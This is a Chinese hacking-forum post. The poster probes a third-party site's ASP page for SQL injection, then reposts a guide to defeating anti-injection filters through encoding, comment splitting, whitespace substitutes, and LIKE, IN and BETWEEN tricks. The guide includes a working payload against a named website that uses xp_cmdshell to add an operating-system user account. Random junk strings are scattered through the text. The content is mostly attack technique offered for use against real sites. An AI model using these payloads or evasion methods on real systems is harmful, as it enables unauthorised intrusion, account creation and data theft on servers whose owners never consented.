路过这个网站,检测了一下.& f* M n0 X0 s" _1 i z
http://www.xxx.cn/Article.asp?ID=117 and 1=1; Z" J: h- J6 `( k5 D
直接返回主页
- P: p% U) [1 U0 Thttp://www.xxx.cn/Article.asp?ID=117 or 1=17 I% I9 w" P- v3 b
直接返回主页" r- |9 t4 p6 ` W* J- x
http://www.xxx.cn/Article.asp?ID=117 or/ M' Q* ^4 `) @: ?$ P
没有返回主页 没有过滤or
' S( i1 l/ Z! q. Ghttp://www.xxx.cn/Article.asp?ID=117 and
5 a. W# [2 V. N直接返回主页 看来过滤了and
$ H5 G4 @4 N9 E/ vhttp://www.xxx.cn/Article.asp?ID=117 or 1/ G. l H% o+ b( _( B
没有返回主页 即没有过滤or 也没有过滤1
V: J' @* b. d; H/ m+ O$ a$ [http://www.xxx.cn/Article.asp?ID=117 or 1=12 i5 G' @" l' ~. w0 E
直接返回主页 很明显过滤了等号
8 a0 `: o# d8 b! H" Cor的特性是与and相反的., s8 p5 B; B6 U' M" O8 s& S$ w9 m: G
or 1=1 爆错 或与原页面不同8 ^" @ i" I( h0 G; q
or 1=2 原页面相同
9 e! \5 [# c$ A {! f. e/ Y这样就是一个注入点
% m6 ~$ Q- Z% o& x* e但他过滤了=号 我就用><号代替=号吧!8 `5 ]' i% m ]. c
or 1<2 很明显是正确的,所以应该与原页面不同
, k+ h7 q1 f6 @# A1 lor 1>2 很明显是错误的,所以应该与原页面相同
8 \! s8 W, O2 ]1 G0 T然后看看有没有过滤其他的查询语句,比如select.- p% U( Z, @' `7 E3 c7 F
http://www.xxx.cn/Article.asp?ID=117 select
' O$ U% E5 R" i直接返回主页
3 k9 a0 @6 Q! z5 y4 i又迷茫了..& N5 `7 ^3 |+ u1 r+ h
3 B& b% N2 H- W4 y
, I: L; S6 Y. F# P( Lcookies注入.和以下的方法全都试过了,都失败了.还有什么方法可以饶过吗6 U( a. X8 z9 J% Y+ i/ T$ S
这个系统我以为是my动力,后台却是这样的http://www.xxx.cn/admin.asp(应该不是假够台吧)
( [9 x% l: J9 q0 N================================================2 |& V2 n7 }5 p, H3 g$ c
以下是转贴:( w% d0 h8 g. y9 L% [7 J' ^
& j6 G1 M* n# f4 U- a
突然想我们是否可以用什么方法绕过SQL注入的限制呢?到网上考察了一下,提到的方法大多都是针对AND与“’”号和“=”号过滤的突破,虽然有点进步的地方,但还是有一些关键字没有绕过,由于我不常入侵网站所以也不敢对上述过滤的效果进行评论,但是可以肯定的是,效果不会很好…… 5 C, W) R" y2 s( h8 X# o% r
经过我的收集,大部分的防注入程序都过滤了以下关键字: + ^$ ]1 s0 ^2 P8 d4 E3 J. D
and | select | update | chr | delete | %20from | ; | insert | mid | master. | set | =
! K' r9 Z- a1 `7 p/ f3 b而这里最难处理的就是select这个关键字了,那么我们怎样来突破他们呢?问题虽未完全解决,但还是说出来与大家分享一下,希望能抛砖引玉。
4 m9 K u, `' t! L: y0 @( y对于关键字的过滤,以下是我收集的以及我个人的一些想法。
; c/ O- d3 v8 W+ A9 a" _8 \1、运用编码技术绕过 3 r) d- o5 F- n1 M
如URLEncode编码,ASCII编码绕过。例如or 1=1即
: [, I; ?+ l+ W+ P0 n$ k1 }! v. p! b%6f%72%20%31%3d%31,而Test也可以为CHAR(101)+CHAR(97)+CHAR(115)+CHAR(116)。
6 \; t4 H4 c# `& L. H$ b. q0 W6 E" _5 q9 b5 D( b- Q' u( l
2、通过空格绕过 2 x5 \- f( P/ Q8 q
如两个空格代替一个空格,用Tab代替空格等,或者删除所有空格,如
/ ]' `( L2 z% e5 Q' v vor’ swords’ =‘swords’ ( {% m) y/ T/ M3 U% q/ C6 l
,由于mssql的松散性,我们可以把or ’swords’ 之间的空格去掉,并不影响运行。 . O5 Z: p& f8 E- u2 L) w4 N" h. S# u
3、运用字符串判断代替 & l' O& U, P0 n2 I1 g
用经典的or 1=1判断绕过,如 * T2 M4 h. z k
or ’swords’ =’swords’ 0 f e- U, h/ v5 S3 J' ~
,这个方法就是网上在讨论的。 1 `4 }, g6 _& U: h5 @3 @8 w" [5 c% M
4、通过类型转换修饰符N绕过
0 e3 z, H! Q3 ^& l' O可以说这是一个不错的想法,他除了能在某种程度上绕过限制,而且还有别的作用,大家自己好好想想吧。关于利用,如or ’swords’ = N’ swords’ ,大写的N告诉mssql server 字符串作为nvarchar类型,它起到类型转换的作用,并不影响注射语句本身,但是可以避过基于知识的模式匹配IDS。
0 N7 l4 v% D3 Y: a; A5、通过+号拆解字符串绕过
& d/ B9 Y* Z3 @) x4 \效果值得考证,但毕竟是一种方法。如
3 L+ G/ A( a! G* P4 Z2 d6 Wor ’swords’ =‘sw’ +’ ords’ ;EXEC(‘IN’ +’ SERT INTO ’+’ …..’ ) : D6 S: \% ?, e; q% i
/ m) m- P+ t- H p6、通过LIKE绕过 ; I8 |7 M" k2 A" l4 S4 f
以前怎么就没想到呢?如or
$ `4 Y7 Q5 V9 P: i’swords’ LIKE ’sw’
/ w! o7 d" @0 r* L- k!!!显然可以很轻松的绕过
0 j" h! J; K' b4 F0 v) I! ~“=”“>”
/ B8 q" c& s8 }0 b, i2 V的限制……
5 y6 C/ J: g1 ^! |+ ~4 V! E2 Q7、通过IN绕过 5 k. m6 W6 A1 ]/ |' F0 I
与上面的LIKE的思路差不多,如 . ]( c; ~8 z& H+ C7 G$ L+ W/ u7 r
or ’swords’ IN (’swords’)
( t$ h( {' n6 D6 J0 ^$ H7 R
9 @' T4 b1 I! D5 O, o8、通过BETWEEN绕过 ' N, l) w6 X. `# j. s
如
/ V; @9 X [, y: Gor ’swords’ BETWEEN ’rw’ AND ’tw’
q, }! T9 K1 |0 ^" Z
6 e$ k. a0 v/ L/ l' h. I' |1 U9、通过>或者<绕过
4 [6 y3 `- E$ q$ [! Z. Q: a5 Ror ’swords’ > ’sw’
4 T5 z9 b0 ^# V! W% ^% b* kor ’swords’ < ’tw’
( k- N' r2 c, s0 _3 oor 1<3
. ]( `- N9 j5 ] L……
( I6 ~6 s2 w3 }10、运用注释语句绕过
" z- a9 t" D: I$ J% k用/**/代替空格,如: % b1 L- H7 O5 \( `! Q
UNION /**/ Select /**/user,pwd,from tbluser 8 Z1 g+ T) O/ B2 ?
: D( I7 R$ s T g4 j/ ~
用/**/分割敏感词,如: 9 p* c6 H( V+ C0 r1 z1 }! x7 o
U/**/ NION /**/ SE/**/ LECT /**/user,pwd from tbluser 4 p8 A- D+ c% \# E, `
2 a- X o% K: @
11、用HEX绕过,一般的IDS都无法检测出来
/ w/ u' c9 e; I# x0 u0x730079007300610064006D0069006E00 =hex(sysadmin) 9 b( O+ U- Z4 W6 B
0x640062005F006F0077006E0065007200 =hex(db_owner)
8 ?; f- F8 `6 |另外,关于通用点的过滤方法,我们可以考虑采用赋值的方法,例如先声明一个变量a,然后把我们的指令赋值给a,然后调用变量a最终执行我们输入的命令。变量a可以是任何命令。如下: : G7 P2 {/ B5 q- q4 x* S
declare @a sysname " H# s: o2 o9 x8 H% ^' s( \/ t
select @a= 5 P6 N3 n- P4 y% J/ C1 O% F6 Q
exec master.dbo.xp_cmdshell @a
0 U; i' { Y& D, ?0 z2 w% `效果 1 l1 e2 q+ q* W) z% W
http://www.ilikeplmm.com/show.asp?id=1;declare%20@a% [email=20sysname%20select%20@a=0x6e006500740020007500730065007200200061006e00670065006c002000700061007300730020002f00610064006400%20exec%20master.dbo.xp_cmdshell%20@a]20sysname%20select%20@a=0x6e006500740020007500730065007200200061006e00670065006c002000700061007300730020002f00610064006400%20exec%20master.dbo.xp_cmdshell%20@a[/email];-- : q. O! \' h+ }0 F/ R% z6 Z
, U# q9 F3 q/ Q6 @' ]7 Z( a
其中的
+ J9 K, k% Y, U. b" l0x6e006500740020007500730065007200200061006e00670065006c002000700061007300730020002f00610064006400 $ z6 b" [- b7 Z" w$ o. P L* u1 T
就是 ( B3 f9 r, d$ _- o
“net user angel pass /add”
! d9 S- r6 S a; [& ^# T0 S6 v8 Z
一直以来都以为只有空格,tab键和注释符/**/可以用来切割sql关键字,段时间在邪八看了风迅cms注入漏洞那篇帖子,才知道原来回车也可以用来作为分割符(以前竟然没有想到,真是失败)。回车的ascii码是chr(13)&chr(10),至于为什么要两个连在一起,这个我也不知道。转换成url编码形式是%0d%0a,于是就可以用%0d%0a代替空格pass一些过滤空格的检查了。) x8 e# `; R" L9 J* J9 U. d
引申一下,只用%0d能正常执行语句吗?只用%0a呢?测试证明,用任意一种分割在mssql、mysql和access里面都是可以的。9 s& I: U3 @9 W+ k
另外,关于mssql的多语句问题。我以前一直以为必须用分号作为语句的结尾,后来发现,完全不是那样。类似- B7 t! a/ ?! h. z. G
Copy code
3 Y2 s( z0 B0 }% F) V5 Iselect * from table exec xp_cmdshell'xxxxxxxxxx'3 `/ ~ h( ^7 s9 ?' b
0 R8 ~+ j) _+ u
3 ~8 z+ w" ]! B$ vselect * from table/**/exec xp_cmdshell'xxxxxxxxxx'
. C2 L! `6 \' h/ c# S& ^4 f- Z! W' S: z. d. H( j
* B& r" a& E& }0 H1 {: C. C1 m5 y8 O
select * from table|---tab---|exec xp_cmdshell'xxxxxxxxxx'
! z# ^+ R6 W& }" p
( P6 s& O# l( Y; r" n# N% Y1 A0 E& K/ T1 T6 R
select * from table|---enter---|exec xp_cmdshell'xxxxxxxxxx'
' R7 c& A( }8 D; X. z" ~7 N, a3 w6 z
的语句都是可以正常执行的。而我以前竟然一直不知道!不过这个貌似跟连接数据库驱动有关系,odbc可以正常执行,sqloledb的话就会报错。有兴趣的继续研究吧?
1 L, E" _# E" H) A
8 @5 |. W7 g& @! |) n这样,以后遇到带空格过滤关键字的拦截程序,又可以发挥发挥了# @: o/ \* M8 S( w1 y1 A& |
可能大家早就知道了,不管怎么说,发在这里吧!: t. k! a1 T& ^* C! f) I
n8 U0 X, a$ f! S1 F# A
最近想起可能还有些ascii码可以用来在sql语句中代替空格,于是写个脚本测试了一下,结果在所有128个低位ascii字符中,chr(12)也可以在access里用,不过貌似chr(12)不能出现在and、or之类的关键词附近,原因不清楚。mysql中比access多一个chr(11)可以。至于mssql,挖日,直接从1到32的ascii码换成字符后都可以正常使用。
7 c' a% x4 S$ g0 X" ?* B) t
3 n# Z$ j, }1 I w# q m% Q3 f3 j. \5 G' G- m- t' l
5 v9 |9 t7 v- G2 u' H4 K+ r对于中间应该出现空格的地方,用()进行替换,不过,对于很复杂的SQL语句就不太好用了。上面说到的是字符型的,如果是数值型,可以在id=1后加一个括号,不过这个我没有测试,
2 u+ C3 t0 `2 C比如:jmdcw.asp?id=(1)and(select.....),应该是可行的吧?
* ~, g$ ?; L; b* I5 _
4 M' G9 |5 @" {3 V' ]+ Q) X9 y |